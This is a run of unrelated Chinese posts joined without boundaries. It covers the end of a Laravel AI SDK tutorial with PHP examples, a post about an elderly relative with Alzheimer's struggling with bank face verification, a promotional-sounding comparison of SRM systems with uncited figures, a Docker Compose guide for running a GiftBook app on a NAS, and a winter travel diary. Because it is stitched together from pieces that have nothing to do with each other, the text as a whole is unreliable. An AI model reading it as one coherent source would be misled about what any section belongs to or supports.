SDK 提供了文件管理和向量存储的完整方案。文件可以上传到服务商存储后反复引用,向量存储则用于 RAG 场景下的文件检索:

use Laravel\Ai\Files\Document;
use Laravel\Ai\Stores;

// 上传文件
$stored = Document::fromPath('/path/to/report.pdf')->put();

// 创建向量存储并添加文件
$store = Stores::create('知识库');
$store->add($stored);

Failover

调用时传入服务商数组,SDK 会在主服务商不可用时自动切换到备用服务商:

$response = (new SalesCoach)->prompt(
    '分析这段录音...',
    provider: ['openai', 'anthropic'],
);

Agent 配置

Agent 支持通过 PHP Attribute 配置参数,包括最大步数、最大 token 数、温度、超时时间等:

#[MaxSteps(10)]
#[MaxTokens(4096)]
#[Provider('anthropic')]
#[Temperature(0.7)]
#[Timeout(120)]
class SalesCoach implements Agent
{
    use Promptable;
}

UseCheapestModelUseSmartestModel 两个 Attribute 可以自动选择服务商最便宜或最强的模型,不需要记具体的模型名。

中间件

Agent 支持中间件机制,可以在请求发送前后插入自定义逻辑,比如日志记录:

class LogPrompts
{
    public function handle(AgentPrompt $prompt, Closure $next)
    {
        Log::info('Prompting agent', ['prompt' => $prompt->prompt]);

        return $next($prompt)->then(function (AgentResponse $response) {
            Log::info('Agent responded', ['text' => $response->text]);
        });
    }
}

测试支持

SDK 为每个功能都提供了 fake() 方法和断言 API,测试时不需要真实调用 AI 服务商:

SalesCoach::fake(['第一条响应', '第二条响应']);

// 执行业务逻辑...

SalesCoach::assertPrompted('分析这段...');
SalesCoach::assertNeverPrompted();

图像、音频、转录、Embeddings、Reranking、文件操作、向量存储都有对应的 fake 和断言方法。

服务商支持一览

功能支持的服务商
文本对话OpenAI、Anthropic、Gemini、Groq、xAI
图像生成OpenAI、Gemini、xAI
语音合成OpenAI、ElevenLabs
语音转录OpenAI、ElevenLabs
向量嵌入OpenAI、Gemini、Cohere、Jina
重排序Cohere、Jina
文件管理OpenAI、Anthropic、Gemini

小结

Laravel AI SDK 把 AI 集成做成了 Laravel 开发者熟悉的样子:Artisan 命令生成类、接口约束行为、trait 复用逻辑、队列异步处理、fake 方法写测试。如果你的 Laravel 项目需要接入 AI 能力,这个包值得尝试。

🎉Laravel AI SDK 正式发布

事情起因

家里老人刚退休两年得了阿兹海默,为了给他把银行定期钱转出来。

定转活要人脸,转账提额要人脸,转账要人脸。

每一次人脸都要摇头、点头、张嘴。这对于一个阿兹海默患者或老年人来说是极度难以理解的。反复教了 20 多遍耐心都磨没了,声音一次比一次大,语气一次比一次凶。事后也挺自责的。

银行这种弄完以后也就不用了,可是领取退休金可是每年要认证一次的,超时就停发。要恢复必须本人去线下退休地办理的。异地退休根本没办法去。

真的难

在全球化的商业棋局中,供应商关系管理已不再是采购部门的辅助工具,而是决定企业供应链韧性、成本结构与风险抵御能力的核心数字引擎。尤其对于业务遍布全球的大型集团而言,选择一套供应商关系管理系统,远非一次软件采购那么简单。它是一项深刻影响全球运营效率、跨组织协同和未来竞争格局的战略性工程。

本文将为您揭示大型集团在供应商关系管理系统选型时的关键路径。我们探讨的并非一份简单的优劣榜单,而是一幅基于不同战略焦点与生态体系的决策地图。本质上,您的选择是在全球化综合平台、全场景专业方案与深度生态集成这三条主流路径中,寻找与企业基因最为契合的战略伙伴。

一、SRM相关概念

SRM(Supplier Relationship Management即供应商关系管理)是一种旨在优化企业与上游供应商合作关系的战略方法。它不仅仅是一套软件或技术,更是一种先进的管理思想,核心在于与供应商建立并维护长久、紧密的伙伴关系。

这种管理机制的最终目标,是超越传统的采购交易模式,通过深度整合双方的资源与竞争优势,共同开拓市场、扩大需求,从而在源头上降低产品成本,最终实现双赢。

而供应商关系管理软件,正是实现这一管理思想的数字化工具。它覆盖了从供应商寻源、准入、绩效评估到退出的全生命周期,帮助企业实现高效的采购协同,有效控制供应链风险,并基于精准数据做出更明智的决策。

二、大型集团企业SRM选型特殊性

与业务流程相对简单、需求聚焦的中小企业不同,大型集团企业的SRM选型必须直面以下四个维度的复杂挑战,这也构成了其独特的选型标准:

全球化运营与合规的刚性需求:业务遍布多国,要求SRM系统必须支持多语言、多币种、多税制,并能内置或适配不同地区的贸易合规与法律法规。这远非简单的界面翻译,而是涉及从寻源、合同到付款的全流程全球化适配能力。

复杂组织架构与管控模式:集团总部、子公司、事业部之间往往存在复杂的采购集权与分权关系。系统需支持灵活的多组织架构、跨法人审批流、内部结算以及集团级供应商主数据统一管控,实现“统而不死,分而不乱”。

战略寻源与供应商全生命周期深度管理:采购重点从执行效率转向战略价值。系统需提供强大的电子招投标、成本分析、供应商绩效评估与风险管理工具,并能将供应商的ESG(环境、社会、治理)表现纳入评估体系,以满足可持续发展和合规报告要求。

与现有生态的深度集成:大型企业往往已部署ERP(如SAP、Oracle)、PLM、MES等多套核心系统。新SRM系统必须具备强大的集成能力,打破“信息孤岛”,实现从需求、寻源、订单、生产到财务结算的端到端数据自动流动,而非制造新的数据断点。

这些挑战决定了大型企业无法采用面向中小企业的轻量化、标准化SRM产品,而必须选择能够承载其业务复杂性和战略意图的企业级平台。

三、排名前三解决方案全景解读

1. SAP Ariba:全球化采购网络的标杆

核心定位:基于全球最大B2B商业网络的云端采购平台,是跨国集团实现全球采购协同、合规与战略寻源的终极选择之一。

解决大型企业痛点的能力

全球化网络效应:其核心优势在于连接了超过460万家供应商的庞大网络,能极大拓展企业的全球寻源范围。某跨国消费品公司通过整合83国采购操作,将合规率提升至96%。

深度合规与集成:内置各国税务规则,并与SAP ERP生态实现原生深度集成,为已采用SAP技术栈的集团提供了无缝的业财一体化体验。

典型适用场景:适用于供应链布局全球、对跨国合规与统一采购流程有极致要求的大型跨国集团,尤其是在快消、制造、能源等行业。

2. Oracle Fusion Procurement Cloud:AI与分析驱动的智能套件

核心定位:作为Oracle云应用套件的核心组成部分,提供集战略寻源、采购到付款、供应商管理与深度分析于一体的智能化解决方案。

解决大型企业痛点的能力

高级分析与AI驱动:深度融合AI能力,可用于优化库存分配、需求预测和采购决策。其供应商评估模块能直接收集供应商的ESG数据(如碳排放),赋能可持续供应链建设。

全价值链云集成:与Oracle Fusion Cloud ERP、供应链管理(SCM)等套件内其他模块天生一体,为追求统一、智能的全球运营平台的大型集团提供了完整解决方案。

典型适用场景:适合已广泛使用Oracle生态系统,或正在寻求通过AI和高级分析重构全球供应链,并高度重视ESG战略落地的大型企业。

3. 正远科技SRM:聚焦复杂业务流程与深度集成的专业方案

核心定位:一家深耕企业级数智化解决方案的服务商,其SRM系统以 “流程模型双轮驱动” 架构为核心,专注于解决大型制造、集团型企业复杂、非标的供应链管理难题。

解决大型企业痛点的能力

卓越的流程灵活性与深度集成:基于低代码理念,可高度自定义和配置复杂审批流与业务规则,快速响应组织变革。在恒力电机的案例中,正远SRM成功实现了与ERP、PLM、MES、WMS等多套异构系统的深度集成,彻底打破了信息孤岛,使端到端数据自动流动成为现实。

精细化执行协同与成本控制:提供从战略寻源到订单、送货、质检、对账的全链条精细化协同。通过系统固化价格计算公式和线上寻源,帮助企业实现成本的精益控制与追溯。

典型适用场景:特别适合业务流程复杂、个性化要求高、且与多种生产管理系统(PLM/MES)有深度协同需求的制造业集团企业,或对现有IT生态集成有严苛要求的超大型组织。

总结:没有排名,只有匹配

综上所述,对于大型集团企业而言,不存在放之四海而皆准的“最佳选择”。SAP Ariba是全球化网络与合规的典范,Oracle代表了人工智能与全栈云集成的未来,而正远科技SRM则在驾驭复杂业务流程与实现深度系统集成方面展现了其专业底蕴。

最终的选型决策,必须是一次严谨的战略对齐。首先,企业需明确其核心驱动力是全球化扩张还是内部运营深化。其次,必须审视现有信息技术生态,以确保新系统能无缝融入。最后,也是至关重要的一步,是通过概念验证,在真实的复杂业务场景中检验系统,看其能否兑现其在流程灵活性与集成深度上的承诺。唯有如此,所选择的供应商关系管理系统才能超越一个成功的软件项目,真正蜕变为支撑集团供应链核心竞争力的战略基石。

点赞 + 关注 + 收藏 = 学会了

整理了一个NAS小专栏,有兴趣的工友可以关注一下 👉 《NAS邪修》

GiftBook是专为红白喜事设计的纯本地电子礼簿系统,核心用于婚礼、寿宴、满月酒、乔迁等场合的礼金与礼品管理,可替代传统手写礼簿。

快过年啦,准备一下吧~

本次使用飞牛 NAS 部署,其他品牌的 NAS 操作步骤大同小异。

首先在“文件管理”的“docker”文件夹里创建一个“GiftBook”文件夹。

然后打开“Docker”,在 Compose 里创建一个项目,输入一下内容。

代码:

services:
  gift-book:
    image: heizicao/gift-book:latest
    container_name: gift-book
    ports:
      - 3001:3000
    restart: always

我这里设置了访问 gift-book 的端口是 3001,你也可以根据自己的情况来设置。

镜像下载完后,它会自动部署。

切换到「容器」页面,如果 gift-book 这项左侧的「点」变成了绿色就证明它成功运行起来了。

点击右侧的 🔗 按钮会自动在浏览器打开新窗口访问 gift-book

你也可以自己手动打开浏览器,输入 NAS的IP:3001 访问 gift-book


以上就是本文的全部内容啦,有疑问可以在评论区讨论~

想了解更多NAS玩法可以关注《NAS邪修》👏

点赞 + 关注 + 收藏 = 学会了

出差又来这个地方啦。

今天气温很低,至少低出我体验的最低温度了。

lishanqu

在路边买了点榛子,味道有点怪,但是还是吃得习惯。
带回去和同事在办公室分分,吃吃。

榛子

老板看我穿的单薄,而且没有带手套,随在车上翻找他工作用的白色手套,要找一副新的给我。
感谢老板,说我今天就回去了,马上回宾馆了,不要麻烦了。
又买了一根他卖的玉米,说 10 元 4 根,我说就要 1 根,他说给你 2 元吧。

还想去上次的菜场逛逛,
早晨住宿附近的菜市场
但是太冷了,而且远远的望去人并不多。

孟家沟早市

此刻,已感觉裤腿已冷透,赶紧回宾馆了。

今日归了,开心的周末。

也祝大家周末快乐,同时也预祝新年快乐。